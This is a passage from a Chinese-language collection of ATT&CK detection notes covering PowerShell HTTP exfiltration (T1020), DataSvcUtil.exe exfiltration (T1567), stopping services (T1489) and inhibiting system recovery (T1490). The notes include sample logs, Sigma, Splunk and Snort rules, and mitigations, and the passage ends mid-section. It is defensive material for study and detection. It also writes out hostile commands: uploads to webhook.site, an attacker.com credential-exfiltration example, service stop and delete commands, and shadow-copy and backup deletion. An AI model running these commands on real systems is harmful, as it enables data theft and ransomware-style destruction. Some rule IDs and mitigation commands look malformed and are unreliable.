4103**:记录PowerShell模块加载和命令执行细节。 **Sysmon日志** - **事件ID 1**:记录进程创建,如`powershell.exe`及其命令行参数。 - **事件ID 3**:记录网络连接,捕获HTTP PUT请求的源/目标IP和端口。 - **事件ID 11**:记录文件创建/写入,如测试文件的生成。 **Windows安全日志** - 通常无直接记录,除非涉及权限提升或进程注入(事件ID 4688)。 **网络日志** - 捕获HTTP/HTTPS流量,尤其是PUT/POST请求,检查异常URL或数据量。 **配置日志记录** - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 启用Sysmon事件:配置规则监控`powershell.exe`进程、网络连接和文件操作。 - 配置防火墙或IDS/IPS记录出站请求(如HTTP PUT)。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2022(测试失败于Windows Server 2022)。 - **权限**:用户权限(无需管理员,除非修改系统文件)。 - **工具**:`PowerShell`(系统自带)、Sysmon、受控测试服务器(如`https://example.com`需支持HTTP PUT)。 - **文件路径**:`C:\Temp\test.txt`(确保路径可写)。 - **日志**:启用PowerShell日志、Sysmon日志,配置网络监控工具(如Wireshark)。 ### 攻击步骤 1. **创建并上传文件** - 执行PowerShell脚本: ```powershell $fileName = "C:\Temp\test.txt" $url = "https://example.com/upload" $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test" $contentType = "application/octet-stream" try { Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName } catch {} ``` 2. **清理文件** - 删除测试文件: ```powershell Remove-Item -Path $fileName -ErrorAction Ignore ``` 3. **验证结果** - 检查PowerShell日志: ```powershell Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 -and $_.Message -match "Invoke-WebRequest" } ``` - 检查Sysmon日志(网络连接): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "powershell.exe" } ``` - 检查网络流量(需Wireshark或其他工具)。 4. **测试失败分析** - **问题**:原始测试在Windows Server 2022使用`https://google.com`失败,因Google不支持HTTP PUT上传。 - **解决**:替换为支持PUT的测试服务器(如自建WebDAV服务器或`https://example.com/upload`)。 - **替代测试**: ```powershell $url = "http://127.0.0.1:8080/upload" # 本地测试服务器 ``` 5. **清理** - 确保删除测试文件: ```powershell Remove-Item -Path "C:\Temp\test.txt" -ErrorAction Ignore ``` ### 示例输出 ```powershell $fileName = "C:\Temp\test.txt" $url = "http://127.0.0.1:8080/upload" $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test" $contentType = "application/octet-stream" try { Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName } catch {} Remove-Item -Path $fileName -ErrorAction Ignore <文件上传成功,无错误输出> ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 日志留痕 - **PowerShell日志(事件ID 4104,脚本块执行)**: ```plaintext EventID: 4104 Source: Microsoft-Windows-PowerShell Message: Creating Scriptblock text (1 of 1): try { Invoke-WebRequest -Uri http://127.0.0.1:8080/upload -Method Put -ContentType "application/octet-stream" -InFile C:\Temp\test.txt } catch {} ScriptBlock ID: {12345678-abcd-1234-abcd-1234567890ab} Path: ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 3456 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -Command "...Invoke-WebRequest..." ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe DestinationIp: 127.0.0.1 DestinationPort: 8080 Protocol: tcp User: CONTOSO\User ``` - **Sysmon日志(事件ID 11,文件创建)**: ```plaintext EventID: 11 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TargetFilename: C:\Temp\test.txt User: CONTOSO\User ``` ## 检测规则/思路 **检测规则** 通过监控网络流量、文件访问和脚本执行,检测自动渗出行为。以下是具体思路: 1. **日志分析**: - 监控PowerShell日志事件ID 4104,检测`Invoke-WebRequest`、`Invoke-RestMethod`或`System.Net.WebClient`的使用。 - 监控Sysmon事件ID 3,检测`powershell.exe`发起的异常出站连接(如HTTP PUT/POST)。 - 监控Sysmon事件ID 11,检测批量文件创建或访问,结合网络事件。 - 监控Sysmon事件ID 1,检测`powershell.exe`或`curl.exe`的异常命令行参数。 - 使用网络监控工具(Wireshark、Zeek)分析HTTP/HTTPS流量,检查PUT/POST请求的异常URL或数据量。 2. **Sigma规则(PowerShell HTTP渗出)**: ```yaml title: PowerShell HTTP渗出检测 id: q45678901-abcd-2345-6789-01234567pqrs status: experimental description: 检测PowerShell通过HTTP PUT/POST执行数据渗出 references: - https://attack.mitre.org/techniques/T1020/ - https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1020 tags: - attack.exfiltration - attack.t1020 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\powershell.exe' CommandLine|contains: - 'Invoke-WebRequest' - 'Invoke-RestMethod' - '-Method Put' - '-Method Post' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法自动化脚本 - 管理员调试操作 level: high ``` 3. **Sigma规则(异常网络连接)**: ```yaml title: PowerShell异常网络连接检测 id: r56789012-abcd-3456-7890-12345678qrst status: experimental description: 检测PowerShell发起的异常HTTP出站连接 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: '\powershell.exe' Protocol: tcp DestinationPort: - 80 - 443 - 8080 condition: selection fields: - Image - DestinationIp - DestinationPort - User falsepositives: - 合法Web请求 - 更新检查 level: medium ``` 4. **SIEM规则**: - 检测PowerShell渗出行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 Image="*powershell.exe" CommandLine IN ("*Invoke-WebRequest*","*Invoke-RestMethod*","*-Method Put*","*-Method Post*")) OR (EventID=3 Image="*powershell.exe" DestinationPort IN (80,443,8080))) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName ``` 5. **文件访问监控**: - 检查异常文件访问模式: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 11 -and $_.Message -match "\.txt|\.docx|\.pdf" } ``` 6. **网络流量分析**: - 使用IDS/IPS规则检测HTTP PUT/POST请求,检查异常Content-Type(如`application/octet-stream`)。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443,8080 (msg:"Suspicious HTTP PUT Request"; content:"PUT"; http_method; content:"application/octet-stream"; http_header; sid:1000001;) ``` 7. **工具支持**: - 使用Sysinternals Process Monitor捕获PowerShell文件和网络活动。 - 使用Wireshark分析HTTP流量,检查PUT/POST请求的URL和数据。 8. **威胁情报整合**: - 检查目标URL或IP是否与已知C2服务器匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御自动渗出攻击需从网络控制、脚本监控和文件保护入手: 1. **限制出站网络访问** - 配置防火墙阻止非必要出站连接(如HTTP PUT/POST到未知域名): ```powershell New-NetFirewallRule -DisplayName "Block HTTP PUT" -Direction Outbound -Action Block -Protocol TCP -RemotePort 80,443 -Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" ``` 2. **限制PowerShell执行** - 启用受约束语言模式: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -Name ExecutionPolicy -Value ConstrainedLanguage ``` - 使用AppLocker限制PowerShell脚本: ```powershell New-AppLockerPolicy -RuleType Script -Path "*.ps1" -Action Deny -User "Everyone" ``` 3. **监控文件访问** - 使用文件完整性监控(FIM)工具检测敏感文件(如`.txt`、`.docx`)的异常访问。 - 配置Sysmon监控文件创建/写入: ```xml .txt ``` 4. **加强日志监控** - 启用PowerShell日志事件ID 4103、4104,检测脚本执行。 - 配置SIEM实时告警PowerShell网络连接或文件访问事件。 - 使用EDR工具检测异常网络行为。 5. **定期审计** - 检查PowerShell执行记录: ```powershell Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 } ``` 6. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的PowerShell漏洞。 ## 参考推荐 - MITRE ATT&CK: T1020 - Atomic Red Team: T1020 ================================================ FILE: Windows/13数据外泄/T1567-win-通过Web服务进行渗透-DataSvcUtil.exe(白名单).md ================================================ # T1567-Win-通过Web服务进行渗透-DataSvcUtil.exe ## 描述 攻击者利用合法的外部Web服务(如云存储、文件共享平台)通过HTTP/HTTPS协议渗出数据,绕过传统C2通道(T1567)。由于这些服务(如Google Drive、Dropbox)常被组织允许访问,其流量可能被防火墙规则放行,攻击者可利用此掩盖渗出行为。SSL/TLS加密进一步增强了隐蔽性,难以通过明文检测。攻击者可能使用白名单工具(如`DataSvcUtil.exe`)发起渗出请求,伪装成合法操作。 `DataSvcUtil.exe`是Windows .NET Framework自带的命令行工具,位于`C:\Windows\Microsoft.NET\Framework64\\`,用于生成WCF数据服务客户端类。攻击者可滥用其`/uri`参数向外部Web服务发送数据(如编码后的文件),实现渗出。检测重点在于监控`DataSvcUtil.exe`的异常命令行参数、网络连接及文件操作。 ## 测试案例 1. **通过HTTP上传文件** 使用`DataSvcUtil.exe`将本地文件编码后通过`/uri`参数上传到外部Web服务。 2. **凭据渗出** 将窃取的凭据写入文件并通过`DataSvcUtil.exe`发送到攻击者控制的服务器。 3. **结合编码技术** 使用Base64编码文件内容,附加到URL参数(如`/uri:https://attacker.com/?data=`)。 ### 示例命令 - **上传文件**(需用户权限): ```cmd DataSvcUtil.exe /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile ``` - **清理**(无直接文件生成,无需清理)。 **注意**:实际测试需替换`https://webhook.site/xxxxxxxxx`为支持接收数据的有效URL。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`DataSvcUtil.exe`的进程创建及其命令行参数。 **Sysmon日志** - **事件ID 1**:记录`DataSvcUtil.exe`进程创建,包含命令行细节。 - **事件ID 3**:记录`DataSvcUtil.exe`发起的网络连接(如HTTPS到外部域名)。 - **事件ID 11**:记录文件创建/写入(若攻击者生成临时文件)。 **PowerShell日志** - 无直接记录,除非通过PowerShell脚本调用`DataSvcUtil.exe`。 **网络日志** - 捕获HTTPS流量,检查异常URL(如`webhook.site`)或非预期域名。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用Sysmon配置:监控`DataSvcUtil.exe`的进程、网络和文件操作。 - 配置防火墙或IDS/IPS记录出站HTTPS请求。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11(含.NET Framework 3.5或4.0)。 - **权限**:用户权限(无需管理员)。 - **工具**:`DataSvcUtil.exe`(系统自带,路径如`C:\Windows\Microsoft.NET\Framework64\v3.5`)、Sysmon、测试Web服务(如`webhook.site`)。 - **日志**:启用Windows安全日志、Sysmon日志,配置网络监控(如Wireshark)。 ### 攻击步骤 1. **验证工具路径** - 确认`DataSvcUtil.exe`存在: ```cmd dir C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe ``` 2. **执行渗出测试** - 尝试上传文件到测试URL: ```cmd DataSvcUtil.exe /out:C:\Windows\System32\calc.exe /uri:https://webhook.site/xxxxxxxxx?encodedfile ``` 3. **验证结果** - 检查命令输出(可能因URL无效报404错误): ```plaintext Microsoft (R) DataSvcUtil 版本 3.5.0.0 正在写入对象层文件... 错误 7001: 远程服务器返回错误: (404) 未找到。 生成已完成 -- 1 个错误,0 个警告 ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "DataSvcUtil.exe" } ``` - **Sysmon日志(事件ID 1)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "DataSvcUtil.exe" } ``` - **Sysmon日志(事件ID 3)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "DataSvcUtil.exe" } ``` - 检查网络流量(使用Wireshark确认HTTPS请求)。 4. **测试失败分析** - **问题**:使用`https://www.baidu.com/`报404,因目标不支持OData或文件上传。 - **解决**:替换为支持接收数据的Web服务(如`webhook.site`或自建服务器)。 - **替代测试**: ```cmd DataSvcUtil.exe /out:C:\Temp\test.txt /uri:http://127.0.0.1:8080/upload ``` 5. **清理** - 无需清理(`DataSvcUtil.exe`不生成持久化文件,除非`/out`指定文件存在): ```cmd del C:\Temp\test.txt ``` ### 示例输出 ```cmd C:\Windows\Microsoft.NET\Framework64\v3.5>DataSvcUtil.exe /out:C:\Temp\test.txt /uri:https://webhook.site/xxxxxxxxx?encodedfile Microsoft (R) DataSvcUtil 版本 3.5.0.0 正在写入对象层文件... <成功或错误信息,取决于URL有效性> ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 日志留痕 - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: DESKTOP-PT656L6\liyang Account Name: liyang Account Domain: DESKTOP-PT656L6 Logon ID: 0x47126 Process Information: New Process ID: 0x2260 New Process Name: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe Token Elevation Type: TokenElevationTypeLimited (3) Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x24b4 Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: DataSvcUtil /out:C:\Temp\test.txt /uri:https://webhook.site/xxxxxxxxx?encodedfile ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 8800 Image: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe CommandLine: DataSvcUtil /out:C:\Temp\test.txt /uri:https://webhook.site/xxxxxxxxx?encodedfile ParentImage: C:\Windows\System32\cmd.exe User: DESKTOP-PT656L6\liyang IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe DestinationIp: DestinationPort: 443 Protocol: tcp User: DESKTOP-PT656L6\liyang ``` ## 检测规则/思路 **检测规则** 通过监控`DataSvcUtil.exe`的进程执行、网络连接及文件操作,检测异常渗出行为。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 1,检测`DataSvcUtil.exe`执行,检查命令行是否包含`/out`和`/uri`。 - 监控Sysmon事件ID 3,检测`DataSvcUtil.exe`的出站连接(HTTPS端口443)。 - 监控Sysmon事件ID 11,检测`DataSvcUtil.exe`生成的文件(如`/out`指定路径)。 - 监控Windows安全日志事件ID 4688,检测`DataSvcUtil.exe`进程创建。 - 使用网络监控工具(Wireshark、Zeek)分析HTTPS流量,检查异常域名或URL模式。 2. **Sigma规则(DataSvcUtil.exe渗出)**: ```yaml title: DataSvcUtil.exe数据渗出检测 id: e290b10b-1023-4452-a4a9-eb31a9013b3a status: stable description: 检测使用DataSvcUtil.exe进行数据渗出的行为 author: Ialle Teixeira, Austin Songer, Grok date: 2021/09/30 references: - https://attack.mitre.org/techniques/T1567/ - https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/ tags: - attack.exfiltration - attack.t1567 logsource: category: process_creation product: windows detection: selection: CommandLine|contains|all: - '/out:' - '/uri:' Image|endswith: '\DataSvcUtil.exe' condition: selection fields: - ComputerName - User - CommandLine - ParentCommandLine falsepositives: - 合法.NET开发操作 - 管理员调试WCF服务 level: high ``` 3. **Sigma规则(DataSvcUtil.exe网络连接)**: ```yaml title: DataSvcUtil.exe异常网络连接检测 id: s67890123-abcd-4567-8901-23456789tuvw status: experimental description: 检测DataSvcUtil.exe发起的异常出站网络连接 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: '\DataSvcUtil.exe' Protocol: tcp DestinationPort: 443 condition: selection fields: - Image - DestinationIp - DestinationPort - User falsepositives: - 合法WCF服务请求 level: medium ``` 4. **SIEM规则**: - 检测`DataSvcUtil.exe`渗出行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Security" EventCode=4688 Image="*DataSvcUtil.exe" CommandLine="* /out:* /uri:*") OR (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=3 Image="*DataSvcUtil.exe" DestinationPort=443) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName ``` 5. **文件监控**: - 检查`/out`指定文件的创建: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 11 -and $_.Message -match "DataSvcUtil.exe" } ``` 6. **网络流量分析**: - 使用IDS/IPS规则检测HTTPS请求,检查异常URL或域名。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"Suspicious DataSvcUtil HTTPS Request"; content:"DataSvcUtil"; http_client_body; sid:1000002;) ``` 7. **工具支持**: - 使用Sysinternals Process Monitor捕获`DataSvcUtil.exe`的进程和网络活动。 - 使用Wireshark分析HTTPS流量,检查请求的URL和数据。 8. **威胁情报整合**: - 检查目标URL或IP是否与已知恶意Web服务匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`DataSvcUtil.exe`渗出攻击需从工具限制、网络控制和监控入手: 1. **限制DataSvcUtil.exe执行** - 使用AppLocker限制非管理员执行: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\Microsoft.NET\Framework*\DataSvcUtil.exe" -Action Deny -User "Everyone" ``` 2. **限制出站网络访问** - 配置防火墙阻止`DataSvcUtil.exe`的出站连接: ```powershell New-NetFirewallRule -DisplayName "Block DataSvcUtil Outbound" -Direction Outbound -Action Block -Program "C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exe" ``` 3. **监控文件操作** - 使用文件完整性监控(FIM)工具检测`/out`生成文件的异常写入。 - 配置Sysmon监控文件创建: ```xml DataSvcUtil.exe ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、3、11,检测`DataSvcUtil.exe`的进程和网络行为。 - 配置SIEM实时告警`DataSvcUtil.exe`执行或异常HTTPS连接。 - 使用EDR工具检测白名单工具滥用。 5. **定期审计** - 检查`DataSvcUtil.exe`执行记录: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "DataSvcUtil.exe" } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "DataSvcUtil.exe" } ``` 6. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的.NET Framework漏洞。 ## 参考推荐 - MITRE ATT&CK: T1567 - LOLBAS: DataSvcUtil.exe - Microsoft: DataSvcUtil.exe Documentation ================================================ FILE: Windows/14影响/T1489-win-停止服务.md ================================================ # T1489-Win-停止服务 ## 描述 攻击者通过停止或禁用系统上的服务,破坏合法用户的使用功能或干扰事件响应(T1489)。Windows 服务是后台运行的进程,支持关键功能(如Exchange、SQL Server、Windows Defender)。攻击者可能针对单一关键服务(如`MSExchangeIS`)以阻止访问,或批量停止多个服务以瘫痪系统。停止服务还可能为后续操作(如数据加密、破坏)创造条件,因为某些服务运行时会锁定其数据文件。 攻击者常用内置工具(如`net.exe`、`sc.exe`)或脚本(如PowerShell)执行服务停止操作,通常需要管理员权限以确保成功。停止服务可能用于逃避防御、阻断安全工具(如杀毒软件)或掩盖其他恶意活动。检测重点在于监控服务状态变更、相关命令行活动及异常进程行为。 ## 测试案例 1. **使用`net.exe`停止服务** 攻击者使用`net stop`命令停止非禁用服务(如`vmtools`),以模拟中断虚拟机管理功能。 2. **使用`sc.exe`禁用并停止服务** 攻击者通过`sc config`禁用服务并用`sc stop`停止运行,以防止服务恢复。 3. **批量停止服务** 攻击者通过脚本(如PowerShell)停止多个服务,模拟勒索软件攻击前的行为。 ### 示例命令 #### 使用`net.exe` - **停止服务**(需管理员权限): ```cmd net stop vmtools ``` - **启动服务**: ```cmd net start vmtools ``` #### 使用`sc.exe` - **禁用服务**: ```cmd sc config vmtools start=disabled ``` - **停止服务**: ```cmd sc stop vmtools ``` - **查询服务状态**: ```cmd sc query vmtools ``` - **删除服务**: ```cmd sc delete vmtools ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`net.exe`、`sc.exe`或相关工具的进程创建。 - **事件ID 7040**:记录服务启动类型变更(如从“自动”到“禁用”)。 - **事件ID 7045**:记录新服务创建。 - **事件ID 7036**:记录服务状态变更(如停止或启动)。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`net.exe`或`sc.exe`的命令行参数。 - **事件ID 13**:记录注册表修改,如服务配置变更(`HKLM\SYSTEM\CurrentControlSet\Services`)。 - **事件ID 11**:记录服务相关文件的创建或写入。 **配置日志记录** - 启用服务审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 系统 > 审核服务`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程、注册表和服务监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(停止服务通常需要提升权限)。 - **工具**:`net.exe`、`sc.exe`(系统自带)、Sysmon。 - **服务**:选择非关键服务(如`vmtools`)进行测试,避免影响系统稳定性。 - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **检查服务状态** - 查询目标服务: ```cmd sc query vmtools ``` 2. **停止服务** - 使用`net.exe`停止服务: ```cmd net stop vmtools ``` 3. **验证结果** - 确认服务状态: ```cmd sc query vmtools ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "net.exe" } ``` - **Windows系统日志(事件ID 7036)**: ```powershell Get-WinEvent -LogName System | Where-Object { $_.Id -eq 7036 -and $_.Message -match "vmtools" } ``` 4. **恢复服务** - 启动服务: ```cmd net start vmtools ``` ### 示例输出 ```cmd sc query vmtools SERVICE_NAME: vmtools TYPE : 10 WIN32_OWN_PROCESS STATE : 4 RUNNING WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) net stop vmtools VMware Tools 服务已成功停止。 sc query vmtools SERVICE_NAME: vmtools TYPE : 10 WIN32_OWN_PROCESS STATE : 1 STOPPED WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) net start vmtools VMware Tools 服务正在启动 . VMware Tools 服务已经启动成功。 ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: CONTOSO\Administrator Account Name: Administrator Account Domain: CONTOSO Logon ID: 0x7169C Process Information: New Process ID: 0xd9c New Process Name: C:\Windows\System32\net.exe Token Elevation Type: TokenElevationTypeDefault (1) Mandatory Label: Mandatory Label\High Mandatory Level Creator Process ID: 0x15d0 Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: net stop vmtools ``` - **Windows系统日志(事件ID 7036,服务状态变更)**: ```plaintext EventID: 7036 Source: Service Control Manager Message: The VMware Tools service entered the stopped state. ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 3420 Image: C:\Windows\System32\net.exe CommandLine: net stop vmtools ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator IntegrityLevel: High ``` - **Sysmon日志(事件ID 13,注册表修改,禁用服务示例)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac} Image: C:\Windows\System32\sc.exe TargetObject: HKLM\SYSTEM\CurrentControlSet\Services\vmtools\Start Details: DWORD (0x00000004) User: CONTOSO\Administrator ``` ## 检测规则/思路 **检测规则** 通过监控服务状态变更、命令行参数及注册表修改,检测服务停止行为。以下是具体思路: 1. **日志分析**: - 监控Windows系统日志事件ID 7036,检测关键服务(如`WinDefend`、`MSExchangeIS`)的停止事件。 - 监控Sysmon事件ID 1,检测`net.exe`或`sc.exe`执行,检查命令行是否包含`stop`或`config`。 - 监控Sysmon事件ID 13,检测服务注册表键(如`HKLM\SYSTEM\CurrentControlSet\Services`)的修改。 - 监控Windows安全日志事件ID 4688,检测`net.exe`、`sc.exe`或异常进程的创建。 - 检查批量服务停止行为(如短时间内多个服务停止)。 2. **Sigma规则(服务停止命令执行)**: ```yaml title: Windows服务停止命令执行检测 id: i67890123-abcd-4567-8901-23456789cdef status: stable description: 检测使用net stop或sc stop命令停止服务,可能用于逃避防御或破坏 references: - https://attack.mitre.org/techniques/T1489/ - https://www.cnblogs.com/qlqwjy/p/8010598.html tags: - attack.defense_evasion - attack.t1489 logsource: product: windows service: security detection: selection: EventID: 4688 CommandLine|contains: - 'net stop' - 'sc stop' condition: selection fields: - CommandLine - NewProcessName - ParentProcessName - User falsepositives: - 管理员维护操作 - 合法软件安装/更新 level: medium ``` 3. **Sigma规则(关键服务状态变更)**: ```yaml title: 关键服务停止检测 id: j78901234-abcd-5678-9012-34567890defg status: experimental description: 检测关键服务的停止事件,可能与攻击行为相关 logsource: product: windows service: system detection: selection: EventID: 7036 Message|contains: - 'WinDefend stopped' - 'MSExchangeIS stopped' - 'MSSQLSERVER stopped' - 'vmtools stopped' condition: selection fields: - Message - TimeCreated falsepositives: - 系统维护或更新 level: high ``` 4. **SIEM规则**: - 检测服务停止及相关命令执行。 - 示例Splunk查询: ```spl (source="WinEventLog:Security" EventCode=4688 CommandLine IN ("*net stop*","*sc stop*")) OR (source="WinEventLog:System" EventCode=7036 Message IN ("*stopped*")) | stats count by EventCode, CommandLine, Message, SourceName, ComputerName ``` 5. **服务监控**: - 检查服务状态: ```powershell Get-Service | Where-Object { $_.Status -eq "Stopped" -and $_.StartType -ne "Disabled" } ``` 6. **工具支持**: - 使用Sysinternals Autoruns检查服务配置: ```cmd autoruns -a | findstr "Services" ``` - 使用Process Monitor捕获服务相关注册表和进程活动。 7. **威胁情报整合**: - 检查命令行参数或服务名称是否与已知恶意行为(如勒索软件)匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御服务停止攻击需从权限控制、服务保护和监控入手: 1. **保护关键服务** - 配置关键服务(如`WinDefend`)为不可停止: ```powershell Set-Service -Name WinDefend -StartupType Automatic sc sdset WinDefend D:(D;;WD;;;WD) ``` 2. **启用服务恢复策略** - 配置服务自动重启: ```cmd sc failure vmtools reset= 0 actions= restart/1000/restart/1000/restart/1000 ``` 3. **加强日志监控** - 启用Sysmon事件ID 1、13和Windows事件ID 7036、4688,检测服务停止行为。 - 配置SIEM实时告警关键服务状态变更。 - 使用EDR工具检测异常服务操作。 4. **定期审计** - 检查服务状态: ```powershell Get-Service | Select-Object Name, Status, StartType ``` - 审计服务注册表: ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\*" | Select-Object PSChildName, Start ``` 5. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的服务相关漏洞。 ## 参考推荐 - MITRE ATT&CK: T1489 - Windows命令行服务管理(net、sc用法) ================================================ FILE: Windows/14影响/T1490-win-禁止系统恢复.md ================================================ # T1490-Win-禁止系统恢复 ## 描述 攻击者通过删除或禁用Windows操作系统的恢复功能(如卷影副本、备份目录、自动修复),增强数据破坏或勒索软件攻击的影响(T1490)。这些功能旨在帮助用户从系统损坏或数据丢失中恢复,攻击者禁用它们以阻止恢复,迫使受害者支付赎金或面临永久数据丢失。常用方法包括使用内置工具(如`vssadmin.exe`、`wmic.exe`、`wbadmin.exe`、`bcdedit.exe`)执行删除或配置修改操作,通常需要管理员权限。 攻击者可能: - 删除卷影副本以阻止文件恢复。 - 删除备份目录以破坏系统还原点。 - 禁用自动修复功能以阻止系统启动恢复。 此类行为常与勒索软件(如Ryuk、Conti)相关,检测重点在于监控相关命令行执行、注册表修改及服务状态变更。 ## 测试案例 1. **删除卷影副本** 使用`wmic shadowcopy delete`或`vssadmin.exe delete shadows /all /quiet`删除所有卷影副本。 2. **删除备份目录** 使用`wbadmin.exe delete catalog -quiet`清除Windows备份目录。 3. **禁用自动恢复** 使用`bcdedit.exe`修改启动配置,禁用Windows恢复功能。 ### 示例命令 #### 删除卷影副本 - **WMIC方式**(需管理员权限): ```cmd wmic shadowcopy delete ``` - **Vssadmin方式**: ```cmd vssadmin.exe delete shadows /all /quiet ``` #### 